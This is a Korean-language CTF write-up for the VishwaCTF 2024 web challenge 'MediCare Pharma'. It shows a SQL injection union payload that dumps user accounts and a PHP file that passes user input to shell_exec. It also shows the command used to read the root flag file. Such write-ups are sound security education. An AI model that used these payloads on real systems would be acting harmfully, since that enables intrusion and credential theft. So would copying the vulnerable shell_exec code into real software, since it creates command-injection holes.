[CTF Writeup / Web] VishwaCTF 2024 - MediCare Pharma
[CTF Writeup / Web] VishwaCTF 2024 - MediCare Pharma
안녕하세요. 이번 글에서는 VishwaCTF 2024에 출제된 Web 문제 MediCare Pharma의 Writeup을 작성해보도록 하겠습니다.
문제 설명입니다.
URL 접속하면 로그인 페이지가 뜹니다.
' union select username,pass from users;-- a
이것저것 입력해보면서 테스트 하다가 union select를 시도하여 계정 4개를 획득했습니다.
알아낸 계정으로 로그인하면 구매할 수 있는 사이트가 열립니다.
상품을 하나 구매하면 alert 창이 뜨고, pharmacy.php 파일이 다운로드 됩니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | <?php header('Content-Type: application/json'); if ($_SERVER["REQUEST_METHOD"] == "POST") { $enteredInput = $_POST['search_param']; if (strlen($enteredInput) == 0) { echo json_encode(['result' => "Search bar cannot be empty"]); } else { $result = shell_exec($enteredInput); if ($result == null) { echo json_encode(['result' => ($enteredInput . " not found in store")]); } else { echo json_encode(['result' => $result]); } } } else { http_response_code(404); echo json_encode(['error' => 'Access Forbidden']); } ?> | cs |
pharmacy.php 파일 내용을 살펴보면, search_param 파라미터로 전송한 값을 shell_exec 함수 인자 값으로 넣기 때문에 RCE가 가능합니다.
cat /root/flag.txt를 입력하여 전송하면 플래그를 획득할 수 있습니다.
VishwaCTF{d1g1t4l_p41n_di5p4tch3d_th4nk5_f0r_sh0pp1ng_with_M3diC4re_Ph4rm4}







댓글
댓글 쓰기